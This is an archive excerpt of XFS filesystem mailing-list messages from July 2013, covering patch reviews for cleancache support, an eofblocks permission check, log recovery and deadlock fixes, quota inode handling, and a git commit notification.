X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Apologies to Eric, Ric, and the list for quoting that whole thread and for the top-post. It's a silly default behavior that Gmail doesn't make obvious that it's doing before one hits 'send'. You have to remember to delete all that (hidden) text each time, before hitting send. At least I didn't post in html. (And yes, I'm about ready to switch back to imap and Evolution or Thunderbird!) -Steve From konrad.wilk@oracle.com Mon Jul 22 10:48:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CE03F7F50 for ; Mon, 22 Jul 2013 10:48:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AA80830406B for ; Mon, 22 Jul 2013 08:48:45 -0700 (PDT) X-ASG-Debug-ID: 1374508105-04cbb04690129ddc0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id jTHpcuY3pfK4oWpF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 22 Jul 2013 08:48:25 -0700 (PDT) X-Barracuda-Envelope-From: konrad.wilk@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6MFmIDo017075 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 22 Jul 2013 15:48:19 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6MFmEKL006209 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 22 Jul 2013 15:48:15 GMT Received: from abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6MFmEjg000667; Mon, 22 Jul 2013 15:48:14 GMT Received: from phenom.dumpdata.com (/50.195.21.189) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 22 Jul 2013 08:48:13 -0700 Received: by phenom.dumpdata.com (Postfix, from userid 1000) id ADEF51BF4EA; Mon, 22 Jul 2013 11:48:12 -0400 (EDT) Date: Mon, 22 Jul 2013 11:48:12 -0400 From: Konrad Rzeszutek Wilk To: James Dingwall Cc: Dave Chinner , Ben Myers , xfs@oss.sgi.com Subject: Re: Cleancache support in XFS Message-ID: <20130722154812.GC30300@phenom.dumpdata.com> X-ASG-Orig-Subj: Re: Cleancache support in XFS References: <51810CED.4080003@zynstra.com> <20130501162044.GN29359@sgi.com> <20130501223022.GQ10481@dastard> <518222D3.3080109@zynstra.com> <20130522192834.GD10617@phenom.dumpdata.com> <519F1708.10603@zynstra.com> <20130607170826.GA6925@phenom.dumpdata.com> <51E8E834.6080509@zynstra.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51E8E834.6080509@zynstra.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374508105 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, Jul 19, 2013 at 08:18:12AM +0100, James Dingwall wrote: > Konrad Rzeszutek Wilk wrote: > >On Fri, May 24, 2013 at 08:30:16AM +0100, James Dingwall wrote: > >>Konrad Rzeszutek Wilk wrote: > >>>On Thu, May 02, 2013 at 09:24:51AM +0100, James Dingwall wrote: > >>>>Dave Chinner wrote: > >>>>>On Wed, May 01, 2013 at 11:20:44AM -0500, Ben Myers wrote: > >>>>>>Hi James, > >>>Hey folks, > >>>I am walking through my vacation-emails-mbox. > >>> > >>>>>>On Wed, May 01, 2013 at 01:39:09PM +0100, James Dingwall wrote: > >>>>>>>In reference to: http://oss.sgi.com/archives/xfs/2012-05/msg00046.html > >>>>>>> > >>>>>>>$ grep -r cleancache fs/xfs > >>>>>>>on the 3.9 kernel source suggests that no patch was submitted to > >>>>>>>enable cleancache for the XFS filesystem. Since it was suggested > >>>>>>>that this could be a one liner I've had a go and my first effort is > >>>>>>>inline below. While this seems to compile OK I have no experience > >>>>>>>in filesystems so I would appreciate it if anyone can point out that > >>>>>>>it is obviously wrong and likely to eat my data before I try booting > >>>>>>>the kernel. > >>>>>>> > >>>>>>>If it seems a reasonable attempt what would be the best way to check > >>>>>>>that it isn't doing nasty things? > >>>>>>Hrm.. Looks like there is a doc in Documentation/vm/cleancache.txt which > >>>>>>includes a list of attributes the filesystem needs to have to work properly > >>>>>>with cleancache. > >>>>>So, those points are: > >>>>I had started to look at these too but I feel very out of my depth! > >>>>I had similar conclusions to what Dave wrote but I don't think my > >>>>thoughts should carry very much (any) weight. Anyway I gambled and > >>>>booted my xen domU with this patch and so far so good... xen top > >>>>shows that tmem is now being used where previously it wasn't. I'll > >>>>try running the xfstests at the weekend after a couple more days up > >>>>time to see what happens. > >>>And how did it go? > >>I am running the patch I created on 3.9.3 on half of my xen guests > >>now and have not noticed any stability or filesystem problems. xl > >>top with 'T' shows that the guests running with it are using > >>ephemeral pages were those without do not. I did do some runs with > >>xfstests which had some failures but they were present with and > >>without the patch. The best I can really offer is that it works for > >>me, ymmv. The patch is available as commit > >>c725011c4fc5d47e12d131f61bd91a58a40036b5 in > >>https://github.com/JKDingwall/linux.git xfs-enable-cleancache or in > >>the first message of this thread. > >Hey James, > > > >I've run this patch on my local tree and it looks to work right. I am > >saying "looks" as I am hitting some other issue that I believe are > >unralted to the patch - but I need to figure them out before I can > >comfortably say: "Yes, this looks right and works for me as well." > > > >Stay tuned. > Just to add that I have also had no observable problems running this > patch on 3.10.0 or 3.10.1. Yup. And I tested it as well. In other words if you would like to add Acked-by from me that would be super. Thanks! > > Regards, > James From dwight.engen@oracle.com Mon Jul 22 11:00:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 68E1F7F50 for ; Mon, 22 Jul 2013 11:00:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 43B60304071 for ; Mon, 22 Jul 2013 09:00:09 -0700 (PDT) X-ASG-Debug-ID: 1374508806-04cbb04690129f5c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id zDqY07Eg5McbBRhD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 22 Jul 2013 09:00:06 -0700 (PDT) X-Barracuda-Envelope-From: dwight.engen@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r6MG04NL031918 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 22 Jul 2013 16:00:04 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6MG02np029809 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 22 Jul 2013 16:00:03 GMT Received: from abhmt116.oracle.com (abhmt116.oracle.com [141.146.116.68]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r6MG025a029748; Mon, 22 Jul 2013 16:00:02 GMT Received: from localhost.localdomain (/173.72.251.200) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Mon, 22 Jul 2013 09:00:01 -0700 Date: Mon, 22 Jul 2013 12:00:07 -0400 From: Dwight Engen To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes Message-ID: <20130722120007.2a82cea5@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v4 6/7] xfs: check that eofblocks ioctl caller can write matched inodes In-Reply-To: <20130719060221.GX11674@dastard> References: <20130717114746.4e133042@oracle.com> <20130719060221.GX11674@dastard> Organization: Oracle Corporation Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1374508806 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137254 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Fri, 19 Jul 2013 16:02:21 +1000 Dave Chinner wrote: [...] > > diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c > > index d873ab9e..728283a 100644 > > --- a/fs/xfs/xfs_icache.c > > +++ b/fs/xfs/xfs_icache.c > > @@ -1247,6 +1247,10 @@ xfs_inode_free_eofblocks( > > if (!xfs_inode_match_id(ip, eofb)) > > return 0; > > > > + if (eofb->eof_flags & XFS_EOF_FLAGS_PERM_CHECK && > > + inode_permission(VFS_I(ip), MAY_WRITE)) > > + return 0; > > This assumes we are walking fully instantiated VFS inodes. That's > not necessarily true - we may be walking inodes that have already > been dropped from the VFS and are waiting for background reclaim to Hi Dave, in looking at this a bit I don't see how they can be dropped from the VFS since they are igrab()ed in the flow: xfs_icache_free_eofblocks xfs_inode_ag_iterator_tag xfs_inode_ag_walk xfs_inode_ag_walk_grab igrab and I don't see a way for xfs_inode_free_eofblocks() to be called other than the ag_walk flow. If there is a way to get into xfs_inode_free_eofblocks where we can't use VFS_I(ip) then it will be a problem for the new code in xfs_inode_match_id() as well. From tinguely@sgi.com Mon Jul 22 11:38:01 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 712287F37 for ; Mon, 22 Jul 2013 11:38:01 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3C815304070; Mon, 22 Jul 2013 09:37:58 -0700 (PDT) Message-ID: <51ED5FE6.8060302@sgi.com> Date: Mon, 22 Jul 2013 11:37:58 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Markus Trippelsdorf CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> <20130722151542.GB365@x4> In-Reply-To: <20130722151542.GB365@x4> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/22/13 10:15, Markus Trippelsdorf wrote: > On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: >> On 07/22/13 06:07, Markus Trippelsdorf wrote: >>> On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: >>>> From: Dave Chinner >>>> >>>> When we made all inode updates transactional, we no longer needed >>>> the log recovery detection for inodes being newer on disk than the >>>> transaction being replayed - it was redundant as replay of the log >>>> would always result in the latest version of the inode woul dbe on >>>> disk. It was redundant, but left in place because it wasn't >>>> considered to be a problem. >>>> >>>> However, with the new "don't read inodes on create" optimisation, >>>> flushiter has come back to bite us. Essentially, the optimisation >>>> made always initialises flushiter to zero in the create transaction, >>>> and so if we then crash and run recovery and the inode already on >>>> disk has a non-zero flushiter it will skip recovery of that inode. >>>> As a result, log recovery does the wrong thing and we end up with a >>>> corrupt filesystem. >>>> >>>> Because we have to support old kernel to new kernl upgrades, we >>>> can't just get rid of the flushiter support in log recovery as we >>>> might be upgrading from a kernel that doesn't have fully transaction >>>> inode updates. Unfortunately, for v4 superblocks there is no way to >>>> guarantee that log recovery knows about this fact. >>>> >>>> We cannot add a new inode format flag to say it's a "special inode >>>> create" because it won't be understood by older kernels and so >>>> recovery could do the wrong thing on downgrade. We cannot specially >>>> detect the combination of zero mode/non-zero flushiter on disk to >>>> non-zero mode, zero flushiter in the log item during recovery >>>> because wrapping of the flushiter can result in false detection. >>>> >>>> Hence that makes this "don't use flushiter" optimisation limited to >>>> a disk format that guarantees that we don't need it. And that means >>>> the only fix here is to limit the "no read IO on create" >>>> optimisation to version 5 superblocks.... >>> >>> I think your patch misses the following part: >>> >> >> >> Dave's patch is limited to the new v5 (crc) superblock. The constraints >> that has to be dealt with are in the commit message as to why it is >> limited to the new v5 superblock. >> >> Going back to your 07/10/2013 message, your filesystem is: >> >> /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) >> >> or the non-crc v4 superblock with inode 2 that is probably why it is >> still failing for you. >> >> It seems to me that since we cannot fix this for inode 1/2, then besides >> this patch we have to revert patch cca9f93a52d and make it inode 3+ / >> superblock 5+ (crc) dependent. > > Which is exactly what the hunk I've posted does. > > Here's the combined patch: Thank-you for the clarification. --Mark. From bpm@sgi.com Mon Jul 22 13:53:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7DA137F37 for ; Mon, 22 Jul 2013 13:53:46 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4CCAF8F8040; Mon, 22 Jul 2013 11:53:43 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 2AE5F4266DC; Mon, 22 Jul 2013 13:53:43 -0500 (CDT) Date: Mon, 22 Jul 2013 13:53:43 -0500 From: Ben Myers To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Fix a deadlock in xfs_log_commit_cil() code path Message-ID: <20130722185343.GB3111@sgi.com> References: <1374273098.8941.2075.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374273098.8941.2075.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jul 19, 2013 at 05:31:38PM -0500, Chandra Seetharaman wrote: > > While testing and rearranging pquota/gquota code, I stumbled > on a xfs_shutdown() during a mount. But the mount just hung. > > Debugged and found that there is a deadlock involving > &log->l_cilp->xc_ctx_lock. > > It is in a code path where &log->l_cilp->xc_ctx_lock is first > acquired in read mode and some levels down the same semaphore > is being acquired in write mode causing a deadlock. > > This is the stack: > xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode > xlog_print_tic_res > xfs_force_shutdown > xfs_log_force_umount > xlog_cil_force > xlog_cil_force_lsn > xlog_cil_push_foreground > xlog_cil_push - tries to acquire same semaphore in write mode > > This patch fixes the deadlock by changing the reason code for > xfs_force_shutdown in xlog_print_tic_res() to SHUTDOWN_LOG_IO_ERROR. > > SHUTDOWN_LOG_IO_ERROR is the right reason code to be set since > we are in the log path. > > Thanks to Dave for suggesting this solution. > > Signed-off-by: Chandra Seetharaman Looks fine. Reviewed-by: Ben Myers Applied. From bpm@sgi.com Mon Jul 22 14:08:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B67F97F37 for ; Mon, 22 Jul 2013 14:08:47 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id A33CC8F8049; Mon, 22 Jul 2013 12:08:44 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 7230D4266DC; Mon, 22 Jul 2013 14:08:44 -0500 (CDT) Date: Mon, 22 Jul 2013 14:08:44 -0500 From: Ben Myers To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: Subject: [PATCH v2] xfs: Initialize all quota inodes to be NULLFSINO Message-ID: <20130722190844.GC3111@sgi.com> References: <1374273175.8941.2079.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374273175.8941.2079.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jul 19, 2013 at 05:32:55PM -0500, Chandra Seetharaman wrote: > Change from previous version: > - Added the additional comments that Dave wanted. > > ------------- > mkfs doesn't initialize the quota inodes to NULLFSINO as it does for the > other internal inodes. This leads to two in-core values (0 and NULLFSINO) > to be checked against, to make sure if a quota inode is valid. > > Solve that problem by initializing the in-core values of all quotaino > values to NULLFSINO if they are 0 in the disk. > > Note that these values are not written back to on-disk superblock unless > some quota is enabled on the filesystem. Even in that case sb_pquotino is > written to disk only if the on-disk superblock supports pquotino > > Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Applied. From tinguely@sgi.com Mon Jul 22 14:48:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BA0E17F37 for ; Mon, 22 Jul 2013 14:48:03 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8DC038F8035; Mon, 22 Jul 2013 12:48:03 -0700 (PDT) Message-ID: <51ED8C73.50306@sgi.com> Date: Mon, 22 Jul 2013 14:48:03 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Markus Trippelsdorf , Dave Chinner CC: xfs-oss Subject: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <51ED4471.7050708@sgi.com> <20130722151542.GB365@x4> In-Reply-To: <20130722151542.GB365@x4> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 07/22/13 10:15, Markus Trippelsdorf wrote: > On 2013.07.22 at 09:40 -0500, Mark Tinguely wrote: >> On 07/22/13 06:07, Markus Trippelsdorf wrote: >>> On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: >>>> From: Dave Chinner >>>> >>>> When we made all inode updates transactional, we no longer needed >>>> the log recovery detection for inodes being newer on disk than the >>>> transaction being replayed - it was redundant as replay of the log >>>> would always result in the latest version of the inode woul dbe on >>>> disk. It was redundant, but left in place because it wasn't >>>> considered to be a problem. >>>> >>>> However, with the new "don't read inodes on create" optimisation, >>>> flushiter has come back to bite us. Essentially, the optimisation >>>> made always initialises flushiter to zero in the create transaction, >>>> and so if we then crash and run recovery and the inode already on >>>> disk has a non-zero flushiter it will skip recovery of that inode. >>>> As a result, log recovery does the wrong thing and we end up with a >>>> corrupt filesystem. >>>> >>>> Because we have to support old kernel to new kernl upgrades, we >>>> can't just get rid of the flushiter support in log recovery as we >>>> might be upgrading from a kernel that doesn't have fully transaction >>>> inode updates. Unfortunately, for v4 superblocks there is no way to >>>> guarantee that log recovery knows about this fact. >>>> >>>> We cannot add a new inode format flag to say it's a "special inode >>>> create" because it won't be understood by older kernels and so >>>> recovery could do the wrong thing on downgrade. We cannot specially >>>> detect the combination of zero mode/non-zero flushiter on disk to >>>> non-zero mode, zero flushiter in the log item during recovery >>>> because wrapping of the flushiter can result in false detection. >>>> >>>> Hence that makes this "don't use flushiter" optimisation limited to >>>> a disk format that guarantees that we don't need it. And that means >>>> the only fix here is to limit the "no read IO on create" >>>> optimisation to version 5 superblocks.... >>> >>> I think your patch misses the following part: >>> >> >> >> Dave's patch is limited to the new v5 (crc) superblock. The constraints >> that has to be dealt with are in the commit message as to why it is >> limited to the new v5 superblock. >> >> Going back to your 07/10/2013 message, your filesystem is: >> >> /dev/root on / type xfs (rw,relatime,attr2,inode64,logbsize=256k,noquota) >> >> or the non-crc v4 superblock with inode 2 that is probably why it is >> still failing for you. >> >> It seems to me that since we cannot fix this for inode 1/2, then besides >> this patch we have to revert patch cca9f93a52d and make it inode 3+ / >> superblock 5+ (crc) dependent. > > Which is exactly what the hunk I've posted does. > > Here's the combined patch: Following Dave's instruction to recreate this problem, your patch works with an inode 2 and inode 3 (once I remembered to load the module before recovery). Dave's patch was successful on inode 3 - again after I remembered to load the module before recovery. Whomever makes the formal patch, consider it reviewed-by me. --Mark. From bpm@sgi.com Mon Jul 22 14:52:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 925ED7F37 for ; Mon, 22 Jul 2013 14:52:41 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7E94630404E; Mon, 22 Jul 2013 12:52:38 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 50CD34266DC; Mon, 22 Jul 2013 14:52:38 -0500 (CDT) Date: Mon, 22 Jul 2013 14:52:38 -0500 From: Ben Myers To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Start using pquotaino from the superblock. Message-ID: <20130722195238.GD3111@sgi.com> References: <1374273362.8941.2086.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374273362.8941.2086.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Fri, Jul 19, 2013 at 05:36:02PM -0500, Chandra Seetharaman wrote: > Change from the previous version: > Addressed Ben's comments > - removed unnecessary sb_gquotino == NULLFSINO check in > xfs_sb_quota_to_disk() > - Changed the fs_quota_stat logic to not fail with EINVAL if > both gquota and pquota are available. Instead, fill fs_quota_stat > only with gquota information. > ---- > > Start using pquotino and define a macro to check if the > superblock has pquotino. > > Keep backward compatibilty by alowing mount of older superblock > with no separate pquota inode. > > Signed-off-by: Chandra Seetharaman Looks good! Reviewed-by: Ben Myers Applied. As much as I'd like to send this in a pull request for -rc3, IMO this is the sort of material that is most appropriate for a merge window. I think we'd better wait for 3.12-rc1 merge window to open. Sorry about that. Thanks, Ben From bpm@oss.sgi.com Mon Jul 22 14:53:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 2FB167F50; Mon, 22 Jul 2013 14:53:36 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-2-12117-gd892d58 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: ad81f0545ef01ea651886dddac4bef6cec930092 X-Git-Newrev: d892d5864f020c44cfa4e23e9165112d8df91093 Message-Id: <20130722195336.2FB167F50@oss.sgi.com> Date: Mon, 22 Jul 2013 14:53:35 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated d892d58 xfs: Start using pquotaino from the superblock. 0102629 xfs: Initialize all quota inodes to be NULLFSINO 297aa63 xfs: Fix a deadlock in xfs_log_commit_cil() code path 58e5985 xfs: fix assertion failure in xfs_vm_write_failed() from ad81f0545ef01ea651886dddac4bef6cec930092 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit d892d5864f020c44cfa4e23e9165112d8df91093 Author: Chandra Seetharaman Date: Fri Jul 19 17:36:02 2013 -0500 xfs: Start using pquotaino from the superblock. Start using pquotino and define a macro to check if the superblock has pquotino. Keep backward compatibilty by alowing mount of older superblock with no separate pquota inode. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 0102629776a2f5c3bd9c5dc0ef77956c60255074 Author: Chandra Seetharaman Date: Fri Jul 19 17:32:55 2013 -0500 xfs: Initialize all quota inodes to be NULLFSINO mkfs doesn't initialize the quota inodes to NULLFSINO as it does for the other internal inodes. This leads to two in-core values (0 and NULLFSINO) to be checked against, to make sure if a quota inode is valid. Solve that problem by initializing the in-core values of all quotaino values to NULLFSINO if they are 0 in the disk. Note that these values are not written back to on-disk superblock unless some quota is enabled on the filesystem. Even in that case sb_pquotino is written to disk only if the on-disk superblock supports pquotino Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 297aa63769e6ae06b7db97eb76c9211beeb32c69 Author: Chandra Seetharaman Date: Fri Jul 19 17:31:38 2013 -0500 xfs: Fix a deadlock in xfs_log_commit_cil() code path While testing and rearranging pquota/gquota code, I stumbled on a xfs_shutdown() during a mount. But the mount just hung. Debugged and found that there is a deadlock involving &log->l_cilp->xc_ctx_lock. It is in a code path where &log->l_cilp->xc_ctx_lock is first acquired in read mode and some levels down the same semaphore is being acquired in write mode causing a deadlock. This is the stack: xfs_log_commit_cil -> acquires &log->l_cilp->xc_ctx_lock in read mode xlog_print_tic_res xfs_force_shutdown xfs_log_force_umount xlog_cil_force xlog_cil_force_lsn xlog_cil_push_foreground xlog_cil_push - tries to acquire same semaphore in write mode This patch fixes the deadlock by changing the reason code for xfs_force_shutdown in xlog_print_tic_res() to SHUTDOWN_LOG_IO_ERROR. SHUTDOWN_LOG_IO_ERROR is the right reason code to be set since we are in the log path. Thanks to Dave for suggesting this solution. Signed-off-by: Chandra Seetharaman Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 58e59854a3dfa9ab1fa1bcfc6324646cd77046a7 Author: Jie Liu Date: Tue Jul 16 13:11:16 2013 +0800 xfs: fix assertion failure in xfs_vm_write_failed() In xfs_vm_write_failed(), we evaluate the block_offset of pos with PAGE_MASK which is an unsigned long. That is fine on 64-bit platforms regardless of whether the request pos is 32-bit or 